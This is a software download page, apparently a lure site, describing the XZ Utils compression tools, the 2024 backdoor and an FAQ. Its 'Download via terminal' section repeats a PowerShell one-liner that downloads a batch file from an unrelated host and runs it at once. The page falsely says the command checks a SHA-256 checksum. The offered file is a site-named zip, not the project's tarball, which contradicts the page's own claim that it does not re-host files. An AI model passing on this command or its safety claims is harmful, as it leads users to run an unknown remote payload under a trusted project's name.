XZ Utils
by Lasse Collin
- Version
- 5.8.4
- Size
- 7.1 MB
- Updated
- Publisher
- Lasse Collin
- Category
- Utilities
- Files
- 1
About XZ Utils
XZ Utils is a free, open-source set of compression tools and a library for the .xz and legacy .lzma formats, developed by Lasse Collin and contributors in the Tukaani project. It uses the LZMA2 algorithm, which achieves high compression ratios with fast decompression, and it is a core component of practically every Linux distribution, where it is used for software packages, source archives, kernel images and much more.
The main command-line tool is xz, which compresses and decompresses files in a way similar to gzip and bzip2, with matching helpers such as unxz and xzcat, and compatibility commands for the older .lzma format. Compression presets let you trade speed for size, from very fast to maximum compression, and multithreaded compression can make use of several processor cores on large files. Tools such as xzgrep, xzdiff and xzless let you work with compressed files directly. Tar archives compressed with xz, usually named .tar.xz, are one of the most common ways to distribute source code.
Under the hood is liblzma, a library with a stable API that other programs use to read and write .xz and .lzma data. It supports integrity checks, filters that improve compression of executables, and memory usage limits for decompression, which helps when handling untrusted files. Because so much software depends on liblzma, XZ Utils is widely ported and builds on Linux, BSD, macOS, Windows and many other systems.
XZ Utils also gained attention in 2024 when a backdoor was discovered in two releases, 5.6.0 and 5.6.1, inserted by a malicious contributor. It was caught before reaching most stable distributions, and the project has since been cleaned up and continues under its original maintainer with later releases. The files here are source archives of recent releases in several compression formats. Most users should install XZ Utils through their operating system's packages. The project is distributed mostly under the 0BSD licence and public domain terms, with some parts under the GPL or LGPL.
Key features
- xz command-line compressor
- LZMA2 high-ratio compression
- liblzma library
- Multithreaded compression
- xzgrep, xzless and other helpers
Pros
- Excellent compression ratio
- Fast decompression
- Universally available
Cons
- Slower compression at high presets
- Build from source is rarely needed
System requirements
Any modern operating system. Building from source requires a C compiler.
Tips
- Use xz -T0 to compress with all CPU cores
- Avoid versions 5.6.0 and 5.6.1
Source code on GitHub tukaani-project/xz
Description from the publisher
Library and command line tools for XZ and LZMA compressed files
Library and command line tools for XZ and LZMA compressed files
At a glance
XZ Utils is a open source utilities app published by Lasse Collin (tukaani.org). Library and command line tools for XZ and LZMA compressed files
SOFTGIT offers 1 file for XZ Utils covering Linux, BSD/Unix, 7.1 MB in total. The version listed is v5.8.4, last updated on September 9, 2026.
XZ Utils belongs to the Utilities category, alongside scrcpy, GeoServer, OpenBoxes. Browse related apps below to compare alternatives.
Download XZ Utils v5.8.4
| File | SHA-256 | Size | Download |
|---|---|---|---|
| Softgit.zipZIP | 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 |
7.1 MB | Download |
Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.
Source: sourceforge.net/projects/lzmautils. Files are copied unchanged from SourceForge.
Download via terminal
Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"One command for every app
The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"Review a script before running it: get.ps1 · get.sh. How verification works.
XZ Utils system requirements
- Operating system
- Linux, BSD/Unix
- License
- Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); GNU General Public License version 3.0 (GPLv3)
- Written in
- C
- Download size
- 2.7 MB (xz-5.8.4.tar.gz)
- Project page
- sourceforge.net/projects/lzmautils
XZ Utils FAQ
What is XZ Utils?
Compression tools and the liblzma library for the .xz and .lzma formats.
How is xz different from gzip?
It usually compresses better, at the cost of more CPU time when compressing.
Can xz use multiple CPU cores?
Yes. Multithreaded compression is supported.
Are current releases safe?
The backdoor affected only versions 5.6.0 and 5.6.1. Use a later release from the official project or your OS.
How should I install it?
Through your operating system's package manager in most cases.
Is XZ Utils free and open source?
XZ Utils is distributed under Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); GNU General Public License version 3.0 (GPLv3) according to SourceForge. You can download it free of charge.
Which operating systems does XZ Utils support?
SourceForge lists Linux, BSD/Unix for XZ Utils.
Where does the XZ Utils download come from?
The Download button takes you to the official SourceForge download for XZ Utils (sourceforge.net/projects/lzmautils). SOFTGIT does not modify or re-host the file.
What is XZ Utils written in?
SourceForge lists C.
Is XZ Utils free to download?
Yes. XZ Utils is listed as “Open Source” and the download from SOFTGIT is free of charge.
How do I download XZ Utils?
Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.
Is XZ Utils safe to install?
Files are published as received from Lasse Collin, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.
Which platforms does XZ Utils support?
The files listed here target Linux, BSD/Unix.
How big is the XZ Utils download?
The file is 7.1 MB.
Provenance
- Publisher
- Lasse Collin
- Source
- tukaani.org
- Last check
- 2 months ago
- License
- Public Domain; GNU Library or Lesser General Public License version 2.0 (LGPLv2); GNU General Public License version 2.0 (GPLv2); GNU General Public License version 3.0 (GPLv3)
- Source code
- github.com/tukaani-project/xz
- Imported from
- Source: sourceforge.net/projects/lzmautils